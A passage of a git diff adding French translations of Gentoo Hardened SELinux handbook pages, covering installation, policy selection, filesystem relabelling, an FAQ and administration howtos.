+RC_DEVICES à static ou udev et RC_DEVICE_TARBALL à no. Si vous avez des
+fichiers de périphériques personnalisés, static est suggéré, sinon udev.
+</p>
+
+<pre caption="Configuration des scripts d'initialisation">
+# Use this variable to control the /dev management behavior.
+#  auto   - let the scripts figure out what's best at boot
+#  devfs  - use devfs (requires sys-fs/devfsd)
+#  udev   - use udev (requires sys-fs/udev)
+#  static - let the user manage /dev
+
+RC_DEVICES="<comment>udev</comment>"
+
+# UDEV OPTION:
+# Set to "yes" if you want to save /dev to a tarball on shutdown
+# and restore it on startup.  This is useful if you have a lot of
+# custom device nodes that udev does not handle/know about.
+
+RC_DEVICE_TARBALL="<comment>no</comment>"
+</pre>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Redémarrage</title>
+<subsection>
+<body>
+
+<p>
+Nous devons créer quelques répertoires avant de redémarrer.
+</p>
+
+<pre caption="Créer les répertoires nécessaires">
+# <i>mkdir /selinux</i>
+# <i>mkdir /sys</i>
+</pre>
+
+<p>
+Maintenant, redémarrez.
+</p>
+
+</body>
+</subsection>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/fr/hardened/selinux/hb-selinux-conv-reboot2.xml b/xml/htdocs/proj/fr/hardened/selinux/hb-selinux-conv-reboot2.xml
new file mode 100644
index 00000000..b9a57ab5
--- /dev/null
+++ b/xml/htdocs/proj/fr/hardened/selinux/hb-selinux-conv-reboot2.xml
@@ -0,0 +1,249 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://createivecommons.org/licenses/by-sa/1.0 -->
+
+<!-- Le contenu de ce document est sous licence CC-BY-SA. -->
+<!-- Voir http://creativecommons.org/licenses/by-sa/1.0/deed.fr -->
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/fr/hardened/selinux/hb-selinux-conv-reboot2.xml,v 1.1 2009/02/23 22:29:52 cam Exp $ -->
+
+<sections>
+<version>2.1</version>
+<date>2008-01-11</date>
+
+<section>
+<title>Installer les paquets SELinux</title>
+<subsection>
+<body>
+
+<p>
+Installez les bibliothèques, les utilitaires et les politiques de base. La
+version des politiques peut éventuellement être ajustée, référez-vous à la vue
+d'ensemble de SELinux pour plus d'informations sur les versions des politiques.
+Enfin, chargez les politiques.
+</p>
+
+<pre caption="Installer les paquets et les politiques de base de SELinux">
+# <i>emerge checkpolicy policycoreutils</i>
+# <i>FEATURES=-selinux emerge selinux-base-policy</i>
+</pre>
+
+<note>
+La partie «&nbsp;FEATURES=-selinux&nbsp;» est nécessaire, pour cette ligne
+d'installation uniquement, la première fois uniquement. Elle sert à désactiver
+la fonctionnalité selinux de Portage qui a besoin de <c>policycoreutils</c> et
+de <c>selinux-base-policy</c> pour fonctionner.
+</note>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Choisir le type de politique</title>
+<body>
+
+<p>
+Depuis la version 2006.1, les utilisateurs ont maintenant la possibilité de
+choisir entre une politique stricte ou une politique ciblée.
+</p>
+
+<p>
+Avec la politique stricte, tous les processus sont confinés. Si vous êtes
+familier avec la politique Gentoo SELinux datant d'avant 2006.1, cette
+politique était stricte. La politique stricte est suggérée pour les serveurs.
+Gentoo ne supporte pas la politique stricte sur un système de bureau.
+</p>
+
+<p>
+La politique ciblée est différente, seuls les processus avec un accès au réseau
+sont confinés. Gentoo ne supporte les stations de travail qu'avec la politique
+ciblée. Cette politique peut aussi être utilisée sur des serveurs.
+</p>
+
+<p>
+Éditez le fichier <path>/etc/selinux/config</path> pour définir le type de
+politique.
+</p>
+
+<pre caption="Contenu de /etc/selinux/config">
+# This file controls the state of SELinux on the system on boot.
+
+# SELINUX can take one of these three values:
+#       enforcing - SELinux security policy is enforced.
+#       permissive - SELinux prints warnings instead of enforcing.
+#       disabled - No SELinux policy is loaded.
+SELINUX=permissive <comment>(Vous devez mettre permissive pour le reste de l'installation.)</comment>
+
+# SELINUXTYPE can take one of these two values:
+#       targeted - Only targeted network daemons are protected.
+#       strict - Full SELinux protection.
+SELINUXTYPE=strict <comment>(Choisissez strict ou targeted.)</comment>
+</pre>
+
+<note>
+N.D.T.&nbsp;: Ce fichier contrôle l'état de SELinux au démarrage du système. La
+variable SELINUX peut prendre une des trois valeurs&nbsp;:
+«&nbsp;enforcing&nbsp;» (la politique de sécurité est respectée),
+«&nbsp;permissive&nbsp;» (des avertissements sont affichés au lieu de respecter
+la politique) ou «&nbsp;disabled&nbsp;» (la politique n'est pas chargée). La
+variable SELINUXTYPE peut prendre une de ces deux valeurs&nbsp;:
+«&nbsp;targeted&nbsp;» (politique ciblée, seuls les démons ciblés sont
+protégés) ou «&nbsp;strict&nbsp;» (protection SELinux totale).
+</note>
+
+</body>
+</section>
+
+<section>
+<title>Installer des paquets modifiés pour SELinux</title>
+<subsection>
+<body>
+
+<p>
+Plusieurs paquets systèmes contiennent des modifications pour SELinux. Ces
+modifications fournissent diverses fonctionnalités supplémentaires pour
+SELinux, comme par exemple l'affichage du contexte des fichiers.
+</p>
+
+<pre caption="Réinstaller des paquets">
+# <i>emerge sysvinit pam coreutils findutils openssh procps psmisc shadow util-linux python-selinux</i>
+</pre>
+
+<note>
+S'il s'avère que vous ne puissiez plus utiliser Portage à cause d'une erreur
+telle que&nbsp;: «&nbsp;!!! 'module' object has no attribute 'secure_rename' or
+AttributeError: 'module' object has no attribute 'getcontext'&nbsp;», c'est un
+bogue de Portage dû à l'absence de python-selinux. Installez-le comme ceci pour
+résoudre le problème&nbsp;: «&nbsp;FEATURES=-selinux emerge
+python-selinux&nbsp;». Consultez les commentaires du bogue <uri
+link="http://bugs.gentoo.org/show_bug.cgi?id=122517">#122517</uri> pour plus
+d'informations.
+</note>
+
+<p>
+D'autres paquets disposent de modifications pour SELinux, mais ils sont
+optionnels. Les paquets suivants doivent être réinstallés s'ils sont déjà
+présents sur le système, afin que les modifications concernant SELinux soient
+appliquées&nbsp;:
+</p>
+
+<ul>
+  <li>app-admin/logrotate</li>
+  <li>sys-apps/fcron</li>
+  <li>sys-apps/vixie-cron</li>
+  <li>sys-fs/device-mapper</li>
+  <li>sys-fs/udev</li>
+  <li>sys-libs/pwdb</li>
+</ul>
+
+<note>
+Fcron et vixie-cron sont les seuls démons cron à supporter SELinux.
+</note>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Installer les politiques de sécurité applicatives</title>
+<subsection>
+<body>
+
+<p>
+À l'avenir, lorsque vous installerez un paquet, la politique de sécurité
+correspondante sera installée avant, en tant que dépendance. Mais pour le
+moment, dans notre processus de conversion du système, il nous reste à
+installer les politiques applicatives des paquets que l'on a déjà installés.
+Selinux-base-policy comprend déjà les politiques de la majorité des paquets du
+profil <c>system</c>.
+</p>
+
+<p>
+Regardez dans le répertoire <path>/usr/portage/sec-policy</path>, chaque entrée
+correspond à une politique. La convention de nommage est selinux-NOMPAQUET, où
+NOMPAQUET est le nom du paquet auquel est associée la politique de sécurité.
+Par exemple, le paquet selinux-apache est le paquet qui contient la politique
+de sécurité SELinux pour le paquet net-www/apache. Installez chacune des
+politiques désirées et chargez-les. Si vous installez une station de travail,
+n'oubliez pas le paquet selinux-desktop.
+</p>
+
+<pre caption="Exemple d'installation des politiques de sécurité pour Apache et
+BIND">
+# <i>ls /usr/portage/sec-policy</i>
+<comment>(Liste des répertoires...)</comment>
+
+# <i>emerge selinux-apache selinux-bind</i>
+</pre>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Étiqueter les systèmes de fichiers</title>
+<subsection>
+<body>
+
+<p>
+Maintenant, étiquetez les systèmes de fichiers. Cela assigne une étiquette de
+sécurité à chaque fichier contenu dans le système de fichiers. Il est important
+de garder ces étiquettes dans un état cohérent.
+</p>
+
+<pre caption="Étiqueter les systèmes de fichiers">
+# <i>rlpkg -a -r</i>
+</pre>
+
+<warn>
+Un bogue connu dans les anciennes versions de Grub empêche ce dernier de lire
+les liens symboliques qui ont été étiquetés. Utilisez au minimum la version
+0.94 de Grub et réinstallez-le dans le secteur d'amorçage (MBR) pour vous
+assurez d'utiliser la bonne version du code. Au cas où... vous avez bien un
+LiveCD sous la main, n'est-ce pas&nbsp;?
+</warn>
+
+<pre caption="Réinstaller Grub dans le secteur d'amorçage">
+# <i>grub</i>
+
+grub> <i>root (hd0,0)</i> <comment>(Votre partition contenant /boot.)</comment>
+grub> <i>setup (hd0)</i> <comment>(Où sera installé Grub. Ici dans le secteur d'amorçage.)</comment>
+</pre>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Redémarrage final</title>
+<subsection>
+<body>
+
+<p>
+Redémarrez, connectez-vous, puis ré-étiquetez tous les fichiers encore une fois
+pour vous assurez que tous les fichiers sont étiquetés (certains fichiers ont
+pu être créés pendant l'arrêt et le redémarrage du système).
+</p>
+
+<pre caption="Ré-étiquetez">
+# <i>rlpkg -a -r</i>
+</pre>
+
+<note>
+Il vous est fortement suggéré de vous <uri
+link="http://www.gentoo.org/main/en/lists.xml">inscrire</uri> à la liste de
+diffusion gentoo-hardened. Il y a généralement peu de trafic et les annonces
+concernant SELinux y sont diffusées.
+</note>
+
+<p>
+SELinux est maintenant installé&nbsp;!
+</p>
+
+</body>
+</subsection>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/fr/hardened/selinux/hb-selinux-faq.xml b/xml/htdocs/proj/fr/hardened/selinux/hb-selinux-faq.xml
new file mode 100644
index 00000000..280e4359
--- /dev/null
+++ b/xml/htdocs/proj/fr/hardened/selinux/hb-selinux-faq.xml
@@ -0,0 +1,210 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+
+<!-- Le contenu de ce document est sous licence CC-BY-SA. -->
+<!-- Voir http://creativecommons.org/licenses/by-sa/1.0/deed.fr -->
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/fr/hardened/selinux/hb-selinux-faq.xml,v 1.1 2009/02/26 00:18:25 cam Exp $ -->
+
+<sections>
+<version>1.3</version>
+<date>2006-05-01</date>
+
+<section>
+<title>Limites de SELinux</title>
+<subsection>
+<title>Est-ce que SELinux permet de limiter les ressources
+systèmes&nbsp;?</title>
+<body>
+
+<p>
+Non, la limitation de ressource n'est pas dans le domaine d'un système de contrôle d'accès. Si vous cherchez ce type de fonctionnalités, orientez-vous plutôt vers GRSecurity et RSBAC.
+</p>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>SELinux et les autres projets Hardened</title>
+<subsection>
+<title>Puis-je utiliser SELinux et GRSecurity (et PaX)&nbsp;?</title>
+<body>
+
+<p>
+Oui, SELinux peut être utilisé avec GRSecurity et/ou PaX sans problème. Par
+contre, nous vous suggérons de ne pas utiliser GRACL puisqu'il serait redondant
+avec le contrôle d'accès de SELinux.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Puis-je utiliser SELinux avec le compilateur Hardened
+(PIE-SSP)&nbsp;?</title>
+<body>
+
+<p>
+Oui. De plus, nous vous recommandons d'utiliser PaX pour tirer profit au
+maximum des fonctionnalités PIE du compilateur.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Puis-je utiliser SELinux avec RSBAC&nbsp;?</title>
+<body>
+
+<p>
+Aucune idée. Tenez-nous au courant si vous essayez...
+</p>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>SELinux et les systèmes de fichiers</title>
+<subsection>
+<title>Puis-je utiliser SELinux sur mon système de fichiers&nbsp;?</title>
+<body>
+
+<p>
+SELinux est utilisable sur de l'ext2, ext3, JFS et XFS. Reiserfs (reiser3)
+dispose des attributs étendus mais l'implémentation n'a jamais été terminée et
+ne fonctionne plus depuis 2.6.14. Reiser4 n'est pas supporté.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Et sur les autres systèmes de fichiers&nbsp;?</title>
+<body>
+
+<p>
+SELinux peut également monter les systèmes de fichiers annexes, tels que vfat
+et iso9660, mais avec une grosse restriction&nbsp;: tous les fichiers du montage
+auront le même type SELinux, puisque le système de fichiers ne supporte pas les
+attributs étendus. Tmpfs est le seul système de fichiers annexe à supporter les
+attributs étendus.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Puis-je utiliser SELinux sur un montage réseau&nbsp;?</title>
+<body>
+
+<p>
+Oui, SELinux peut monter les systèmes de fichiers en réseau, tels que NFS et
+CIFS, mais avec la même restriction&nbsp;: tous les fichiers du montage auront
+le même type SELinux, puisque le système de fichiers ne supporte pas les
+attributs étendus. Espérons que les systèmes de fichiers en réseau pourront
+gérer les attributs étendus dans un avenir proche.
+</p>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Messages d'erreur de Portage</title>
+<subsection>
+<title>emerge se plaint de ne pas trouver un module SELinux</title>
+<body>
+
+<pre caption="Message de Portage">
+!!! SELinux module not found. Please verify that it was installed.
+</pre>
+
+<p>
+Ce message indique que le module SELinux pour Portage est manquant ou
+endommagé. Ce peut aussi être Python qui a été mis à jour vers une nouvelle
+version, ce qui nécessite la recompilation de python-selinux. Réinstallez
+dev-python/python-selinux. Si des paquets ont été installés avec cette erreur,
+ils doivent être ré-étiquetés une fois que le problème est résolu. En cas de
+doute sur les paquets à ré-étiqueter, ré-étiquetez tout.
+</p>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Messages d'erreur du noyau à propos de SELinux</title>
+<subsection>
+<title>Lors du démarrage, j'obtiens une erreur register_security</title>
+<body>
+
+<pre caption="Message du noyau">
+There is already a security framework initialized, register_security failed.
+Failure registering capabilities with the kernel
+selinux_register_security:  Registering secondary module capability
+Capability LSM initialized
+</pre>
+
+<p>
+Cela signifie que le module Capability LSM n'a pas pu s'enregistrer en tant que
+module principal, puisque SELinux l'est déjà. Le troisième message signifie
+qu'il s'est enregistré avec SELinux comme un module secondaire. C'est normal.
+</p>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Messages d'erreur de setfiles</title>
+<subsection>
+<title>Le ré-étiquetage échoue à cause d'un contexte invalide</title>
+<body>
+
+<pre caption="Exemple de contextes invalides">
+# make relabel
+/usr/sbin/setfiles file_contexts/file_contexts `mount | awk '/(ext[23]| xfs).*rw/{print $3}'`
+/usr/sbin/setfiles:  read 559 specifications
+/usr/sbin/setfiles:  invalid context system_u:object_r:default_t on line number 39
+/usr/sbin/setfiles:  invalid context system_u:object_r:urandom_device_t on line number 120
+/usr/sbin/setfiles:  invalid context system_u:object_r:fonts_t on line number 377
+/usr/sbin/setfiles:  invalid context system_u:object_r:fonts_t on line number 378
+/usr/sbin/setfiles:  invalid context system_u:object_r:krb5_conf_t on line number 445
+/usr/sbin/setfiles:  invalid context system_u:object_r:system_cron_spool_t on line number 478
+/usr/sbin/setfiles:  invalid context system_u:object_r:system_cron_spool_t on line number 479
+/usr/sbin/setfiles:  invalid context system_u:object_r:system_cron_spool_t on line number 492
+/usr/sbin/setfiles:  invalid context system_u:object_r:system_cron_spool_t on line number 493
+/usr/sbin/setfiles:  invalid context system_u:object_r:system_cron_spool_t on line number 494
+Exiting after 10 errors.
+make: *** [relabel] Error 1
+</pre>
+
+<p>
+Commencez par vérifier que <path>/selinux</path> soit bien monté, car sinon
+setfiles ne peut pas valider de contexte et croira que tous les contextes sont
+invalides. Si <path>/selinux</path> est monté, alors il est probable qu'une
+nouvelle politique n'ait pas encore été chargée et donc les contextes ne soient
+pas encore valides.
+</p>
+
+</body>
+</subsection>
+</section>
+
+
+<!-- always keep this one as the bottom FAQ :) -->
+<!-- comment out since the demo machine is down for an indefinite period of time
+<section><title>Gentoo SELinux Demonstration Machine</title>
+<subsection><body>
+<p>
+  This machine is not running user-mode linux, or in a chroot, it has SELinux
+  mandatory access control.  No, you cannot install psybnc or an irc bot on the
+  machine, unless you break the SELinux security and gain higher priviledge.
+</p>
+</body></subsection>
+</section>
+-->
+<!-- dont put anything below here, this demo machine faq should be the last one -->
+</sections>
+
diff --git a/xml/htdocs/proj/fr/hardened/selinux/hb-selinux-howto.xml b/xml/htdocs/proj/fr/hardened/selinux/hb-selinux-howto.xml
new file mode 100644
index 00000000..f2c6d42f
--- /dev/null
+++ b/xml/htdocs/proj/fr/hardened/selinux/hb-selinux-howto.xml
@@ -0,0 +1,334 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://createivecommons.org/licenses/by-sa/1.0 -->
+
+<!-- Le contenu de ce document est sous licence CC-BY-SA. -->
+<!-- Voir http://creativecommons.org/licenses/by-sa/1.0/deed.fr -->
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/fr/hardened/selinux/hb-selinux-howto.xml,v 1.1 2009/02/23 23:10:47 cam Exp $ -->
+
+<sections>
+<version>2.0</version>
+<date>2006-10-14</date>
+
+<section>
+<title>Charger une politique dans un noyau SELinux</title>
+<subsection>
+<body>
+
+<p>
+Vous devez vous placer dans le rôle <c>sysadm_r</c>.
+</p>
+
+<pre caption="La commande semodule">
+# <i>semodule -B</i>
+</pre>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Changer de rôle</title>
+<subsection>
+<body>
+
+<p>
+Votre utilisateur doit avoir accès au rôle cible. Dans cet exemple, nous nous
+mettons dans le rôle <c>sysadm_r</c>.
+</p>
+
+<pre caption="La commande newrole">
+# <i>newrole -r sysadm_r</i>
+</pre>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Spécifier les rôles disponibles pour un utilisateur</title>
+<subsection>
+<body>
+
+<p>
+Il y a une correspondance entre les utilisateurs Linux et les identités
+SELinux. La politique dispose d'utilisateurs SELinux génériques selon les
+configurations des rôles. Par exemple, pour associer l'utilisateur
+<c>pebenito</c> à l'identité SELinux <c>staff_u</c>&nbsp;:
+</p>
+
+<pre caption="Associer pebenito à staff_u">
+# <i>semanage login -a -s staff_u pebenito</i>
+</pre>
+
+<p>
+La politique n'a pas besoin d'être rechargée. Si l'utilisateur est connecté, il
+doit simplement se reconnecter afin que les changements soient pris en compte.
+</p>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Ré-étiqueter les systèmes de fichiers</title>
+<subsection>
+<body>
+
+<p>
+Vous devez vous placer dans le rôle <c>sysadm_r</c>.
+</p>
+
+<pre caption="Ré-étiqueter">
+# <i>rlpkg -a</i>
+</pre>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Ré-étiqueter un paquet individuel</title>
+<subsection>
+<body>
+
+<p>
+En plus de pouvoir ré-étiqueter des systèmes de fichiers entiers, vous pouvez
+aussi ré-étiqueter des paquets de Portage individuellement. Pour cela, vous
+devez vous placer dans le rôle <c>sysadm_r</c>.
+</p>
+
+<pre caption="Exemple de rlpkg">
+# <i>rlpkg shadow sash</i>
+</pre>
+
+<p>
+On utilise le script rlpkg avec un nombre quelconque de noms de paquets comme
+arguments.
+</p>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Chercher les bibliothèques qui utilisent les relocations de
+textes</title>
+<subsection>
+<body>
+
+<p>
+SELinux contient des protections améliorées de la mémoire. Une des
+fonctionnalités supportées et d'autoriser les relocations de textes ELF. Les
+bibliothèques avec des relocations de textes ont une étiquette spéciale et
+l'outil <c>rlpkg</c> possède une option pour rechercher ces bibliothèques.
+</p>
+
+<pre caption="Chercher les TEXTREL">
+# <i>rlpkg -t</i>
+</pre>
+
+<p>
+Cela sera également effectué après un ré-étiquetage complet.
+</p>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Démarrer les démons dans le bon domaine</title>
+<subsection>
+<body>
+
+<p>
+Contrôler les démons qui possèdent des scripts d'initialisation dans
+<path>/etc/init.d</path> est très légèrement différent avec SELinux. La
+commande <c>run_init</c> doit être utilisée pour lancer les scripts, afin de
+s'assurer qu'ils soient exécutés dans le bon domaine. La commande est
+identique, excepté qu'elle est préfixé par <c>run_init</c>. Vous devez être
+dans le rôle <c>sysadm_r</c>.
+</p>
+
+<pre caption="Exemples d'utilisation de run_init">
+# <i>run_init /etc/init.d/ntpd start</i>
+# <i>run_init /etc/init.d/apache2 restart</i>
+# <i>run_init /etc/init.d/named stop</i>
+</pre>
+
+</body>
+</subsection>
+<subsection>
+<title>Intégration de run_init dans Gentoo</title>
+<body>
+
+<p>
+<c>run_init</c> a été intégré dans le système de scripts d'initialisation de
+Gentoo. Avec SELinux installé, les services peuvent être démarrés et arrêtés
+comme d'habitude, sauf que maintenant ils authentifieront l'utilisateur.
+</p>
+
+<pre caption="Exemple avec run_init une fois intégré">
+# <i>/etc/init.d/sshd restart</i>
+Authenticating root.
+Password:
+ * Stopping sshd...                       [ ok ]
+ * Starting sshd...                       [ ok ]
+</pre>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Basculer entre les modes enforcing et permissive</title>
+<subsection>
+<body>
+
+<p>
+Basculer entre les différents modes de SELinux est très simple. Envoyez 1 pour
+enforcing ou 0 pour permissive au fichier <path>/selinux/enforce</path> pour
+définir le mode. En lisant le contenu du fichier, vous obtiendrez le mode
+courant. Si l'option du noyau «&nbsp;NSA SELinux Development Support&nbsp;» est
+désactivée, le système sera toujours en mode enforcing et ne pourra pas être
+passé en mode permissive.
+</p>
+
+<pre caption="Lire et régler le mode enforce">
+<comment>(Lire le mode courant.)</comment>
+# <i>cat /selinux/enforce</i>
+<comment>(Passer en mode enforcing.)</comment>
+# <i>echo 1 > /selinux/enforce</i>
+<comment>(Passer en mode permissive.)</comment>
+# <i>echo 0 > /selinux/enforce</i>
+</pre>
+
+<p>
+Une machine dont le support du développement a été activé dans le noyau peut
+être démarrée en mode enforcing en spécifiant l'option <c>enforcing=1</c> sur
+la ligne de commande de démarrage du noyau dans le chargeur de démarrage (Grub,
+LILO, etc.).
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Définir le mode au démarrage</title>
+<body>
+
+<p>
+En sus des options du noyau mentionnées précédemment, le mode de démarrage peut
+être défini dans le fichier <path>/etc/selinux/config</path>.
+</p>
+
+<pre caption="/etc/selinux/config">
+# SELINUX can take one of these three values:
+#       enforcing - SELinux security policy is enforced.
+#       permissive - SELinux prints warnings instead of enforcing.
+#       disabled - No SELinux policy is loaded.
+SELINUX=<comment>permissive</comment>
+</pre>
+
+<p>
+Le réglage défini dans ce fichier sera écrasé par la valeur donnée en argument
+du noyau décrite précédemment.
+</p>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Comprendre le retour de la commande sestatus</title>
+<subsection>
+<body>
+
+<p>
+L'outil <c>sestatus</c> nous permet de récupérer des informations détaillées à
+propos des spécificités de SELinux. L'option <c>-v</c> nous fournit des détails
+supplémentaires à propos des contextes des processus et des fichiers. Le
+résultat de la commande est divisé en quatre sections. Sestatus ne donne des
+informations complètes qu'à un utilisateur connecté en root ou bien se trouvant
+dans le rôle <c>sysadm_r</c>.
+</p>
+
+<pre caption="Exemple de rapport sestatus">
+SELinux status:         enabled
+SELinuxfs mount:        /selinux
+Current mode:           enforcing
+Policy version:         18
+</pre>
+
+<p>
+Les informations principales du rapport sont fournies dans la première section.
+La première ligne montre si les fonctions du noyau SELinux existent et sont
+activées. Si le statut est désactivé (disabled), soit le noyau n'a pas le
+support SELinux, soit la politique n'est pas chargée. La seconde ligne montre
+le point de montage du système de fichiers SELinux. Lors d'une utilisation
+normale, ce sera <c>/selinux</c>. La troisième ligne montre le mode SELinux
+courant, soit enforcing, soit permissive. La quatrième ligne montre la version
+de la base de données de la politique supportée par le noyau actuel.
+</p>
+
+<pre caption="Quelques booléens">
+Policy booleans:
+secure_mode             inactive
+ssh_sysadm_login        inactive
+user_ping               inactive
+</pre>
+
+<p>
+La seconde section affiche l'état des booléens concernant la politique. La
+colonne de gauche contient le nom du booléen et celle de droite son état&nbsp;:
+active ou inactive. Cette section n'existe pas avec les noyaux en version 15.
+</p>
+
+<pre caption="Exemple de contextes de processus">
+Process contexts:
+Current context:        pebenito:sysadm_r:sysadm_t
+Init context:           system_u:system_r:init_t
+/sbin/agetty            system_u:system_r:getty_t
+/usr/sbin/sshd          system_u:system_r:sshd_t
+</pre>
+
+<p>
+La troisième section affiche les contextes des processus courants ainsi que de
+quelques processus importants. Si un processus est exécuté dans un contexte
+incorrect, il ne fonctionnera pas correctement.
+</p>
+
+<pre caption="Exemple de contextes de fichiers">
+File contexts:
+Controlling term:       pebenito:object_r:sysadm_devpts_t
+/sbin/init              system_u:object_r:init_exec_t
+/sbin/agetty            system_u:object_r:getty_exec_t
+/bin/login              system_u:object_r:login_exec_t
+/sbin/rc                system_u:object_r:initrc_exec_t
+/sbin/runscript.sh      system_u:object_r:initrc_exec_t
+/usr/sbin/sshd          system_u:object_r:sshd_exec_t
+/sbin/unix_chkpwd       system_u:object_r:chkpwd_exec_t
+/etc/passwd             system_u:object_r:etc_t
+/etc/shadow             system_u:object_r:shadow_t
+/bin/sh                 system_u:object_r:bin_t -> system_u:object_r:shell_exec_t
+/bin/bash               system_u:object_r:shell_exec_t
+/bin/sash               system_u:object_r:shell_exec_t
+/usr/bin/newrole        system_u:object_r:newrole_exec_t
+/lib/libc.so.6          system_u:object_r:lib_t -> system_u:object_r:shlib_t
+/lib/ld-linux.so.2      system_u:object_r:lib_t -> system_u:object_r:shlib_t
+</pre>
+
+<p>
+La quatrième section affiche les contextes du terminal contrôlant le processus
+courant ainsi que de quelques fichiers importants. Pour les liens symboliques,
+le contexte du lien ainsi que celui de la cible de celui-ci sont affichés. Si
+un fichier a un contexte incorrect, le fichier peut être inaccessible ou
+posséder des permissions incorrectes par rapport à un processus en particulier.
+</p>
+
+</body>
+</subsection>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/fr/hardened/selinux/hb-selinux-initpol.xml b/xml/htdocs/proj/fr/hardened/selinux/hb-selinux-initpol.xml
new file mode 100644
index 00000000..0fb05529
--- /dev/null
+++ b/xml/htdocs/proj/fr/hardened/selinux/hb-selinux-initpol.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+
+<!-- Le contenu de ce document est sous licence CC-BY-SA. -->
+<!-- Voir http://creativecommons.org/licenses/by-sa/1.0/deed.fr -->
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/fr/hardened/selinux/hb-selinux-initpol.xml,v 1.1 2009/02/23 23:38:11 cam Exp $ -->
+
+<sections>
+<version>1.3</version>
+<date>2004-11-16</date>
+
+<section>
+<title>Vérifier la disponibilité de la politique</title>
+<subsection>
+<body>
+
+<p>
+Vous devez être dans <c>sysadm_r</c> pour effectuer cette action.
+</p>
+
+<p>
+Une politique binaire doit être disponible dans
+<path>/etc/selinux/{strict,targeted}/policy</path>. Si ce n'est pas le cas,
+installez la politique.
+</p>
+
+<pre caption="Installer la politique">
+# <i>semodule -n -B</i>
+</pre>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Vérifier qu'init peut charger la politique</title>
+<subsection>
+<body>
+
+<p>
+La dernière vérification consiste à s'assurer qu'<c>init</c> puisse charger la
+politique. Exécutez <c>ldd</c> sur <path>/sbin/init</path> et, si libselinux ne
+fait pas partie des bibliothèques listées, réinstallez sysvinit.
+</p>
+
+<pre caption="Vérifier la liaison d'init à libselinux">
+# <i>ldd /sbin/init</i>
+  linux-gate.so.1 =>  (0xffffe000)
+  <comment>libselinux.so.1 => /lib/libselinux.so.1 (0x40025000)</comment>
+  libc.so.6 => /lib/libc.so.6 (0x40035000)
+  /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
+</pre>
+
+<p>
+Maintenant, redémarrez afin qu'init obtienne le bon contexte et puisse charger
+la politique.
+</p>
+
+</body>
+</subsection>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/fr/hardened/selinux/hb-selinux-libsemanage.xml b/xml/htdocs/proj/fr/hardened/selinux/hb-selinux-libsemanage.xml
new file mode 100644
index 00000000..dd5d3b03
--- /dev/null
+++ b/xml/htdocs/proj/fr/hardened/selinux/hb-selinux-libsemanage.xml
@@ -0,0 +1,339 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+
+<!-- Le contenu de ce document est sous licence CC-BY-SA. -->
+<!-- Voir http://creativecommons.org/licenses/by-sa/1.0/deed.fr -->
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/fr/hardened/selinux/hb-selinux-libsemanage.xml,v 1.1 2009/02/23 23:31:02 cam Exp $ -->
+
+<sections>
+<version>1.0</version>
+<date>2006-10-15</date>
+
+<section>
+<title>L'infrastruction de gestion de SELinux</title>
+<subsection>
+<body>
+
+<p>
+L'infrastructure de gestion de SELinux s'occupe de plusieurs aspects des
+politiques SELinux. Ces outils de gestion sont basés sur la bibliothèque
+centrale libsemanage. Plusieurs programmes de gestion permettent d'achever
+plusieurs tâches, dont notamment <c>semanage</c> et <c>semodule</c>. Ils vous
+permettront de configurer certains aspects sans avoir besoin de la source de la
+politique.
+</p>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Gestion des modules de politiques SELinux</title>
+<subsection>
+<title>Qu'est-ce qu'un module de politique&nbsp;?</title>
+<body>
+
+<p>
+SELinux gère les politiques modulaires. Cela consiste en plusieurs morceaux de
+politiques qui sont assemblés pour former une politique à charger dans le
